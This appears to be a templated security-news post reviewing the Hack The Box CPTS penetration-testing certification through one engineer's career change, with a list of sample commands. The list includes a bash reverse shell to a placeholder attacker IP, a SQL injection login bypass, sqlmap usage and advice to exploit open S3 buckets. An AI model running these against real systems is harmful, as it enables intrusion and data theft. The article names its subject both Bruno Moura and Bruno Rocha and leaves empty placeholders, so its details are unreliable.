Hack The Box CPTS Certification Review: A Pathway to Offensive Cybersecurity Careers

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Introduction:

The Certified Penetration Testing Specialist (CPTS) certification from Hack The Box (HTB) is a highly regarded credential for aspiring offensive security professionals. Bruno Moura, an Application Security Engineer at Veeam Software, shares his journey from software engineering to cybersecurity, offering insights into how the CPTS certification helped him transition into the field.

Learning Objectives:

  • Understand the value of the CPTS certification in offensive security roles.
  • Learn key technical skills tested in the CPTS exam.
  • Discover practical tips for transitioning into cybersecurity from a software background.

You Should Know:

1. Essential Linux Commands for Penetration Testing

Command:

nmap -sV -A -T4 <target_IP>

Step-by-Step Guide:

– `nmap` is a network scanning tool used to discover hosts and services.
– `-sV` enables version detection.
– `-A` enables aggressive scanning (OS detection, script scanning).
– `-T4` speeds up the scan (higher = faster but noisier).
– Replace `` with the IP address of the target system.

2. Windows Privilege Escalation Techniques

Command (PowerShell):

whoami /priv

Step-by-Step Guide:

  • This command lists the current user’s privileges.
  • Look for misconfigured permissions like `SeImpersonatePrivilege` or SeDebugPrivilege.
  • Exploit these using tools like Juicy Potato or PrintSpoofer.

3. Exploiting SQL Injection Vulnerabilities

Command (SQLi Payload):

' OR 1=1 --

Step-by-Step Guide:

  • This classic SQL injection bypasses authentication.
  • Test login forms by injecting this into username/password fields.
  • Use tools like sqlmap for automated exploitation: 
    sqlmap -u "http://example.com/login" --data="username=admin&password=pass" --dbs

4. Setting Up a Reverse Shell (Netcat)

Attacker Command:

nc -lvnp 4444

Victim Command (Linux):

bash -c 'bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1'

Step-by-Step Guide:

  • The attacker listens on port `4444` using Netcat.
  • The victim executes a bash reverse shell to connect back.
  • Replace `` with the attacker’s IP address.

5. Hardening SSH for Secure Remote Access

Command (Linux):

sudo nano /etc/ssh/sshd_config

Step-by-Step Guide:

  • Disable root login: `PermitRootLogin no`
  • Use key-based authentication: `PasswordAuthentication no`
  • Restrict users: `AllowUsers your_username`
  • Restart SSH: `sudo systemctl restart sshd`

6. API Security Testing with Postman

Request Example:

GET /api/user?id=1 HTTP/1.1 
Host: example.com 
Authorization: Bearer <token>

Step-by-Step Guide:

  • Test for broken authentication by manipulating the `Authorization` header.
  • Check for IDOR (Insecure Direct Object Reference) by changing the `id` parameter.
  • Use Burp Suite or OWASP ZAP for deeper analysis.

7. Cloud Security: AWS S3 Bucket Enumeration

Command (AWS CLI):

aws s3 ls s3://bucket-name --no-sign-request

Step-by-Step Guide:

  • Lists files in an S3 bucket if misconfigured (public access).
  • Exploit by downloading sensitive files or uploading malicious payloads.
  • Secure buckets by setting `BlockPublicAccess` to true.

What Undercode Say:

  • Key Takeaway 1: The CPTS certification provides hands-on, real-world penetration testing challenges, making it valuable for job readiness.
  • Key Takeaway 2: Transitioning from software engineering to cybersecurity is easier with offensive security training, as coding skills enhance exploit development.

Bruno’s experience highlights how certifications like CPTS bridge the gap between theoretical knowledge and practical skills. With increasing cyber threats, offensive security roles will continue growing, making certifications like CPTS a strong career investment.

Prediction:

As AI-driven attacks rise, offensive security professionals will need deeper knowledge of automation and exploit development. Certifications like CPTS will evolve to include AI-powered penetration testing, further increasing their relevance in cybersecurity hiring.

IT/Security Reporter URL:

Reported By: Bruno Rocha – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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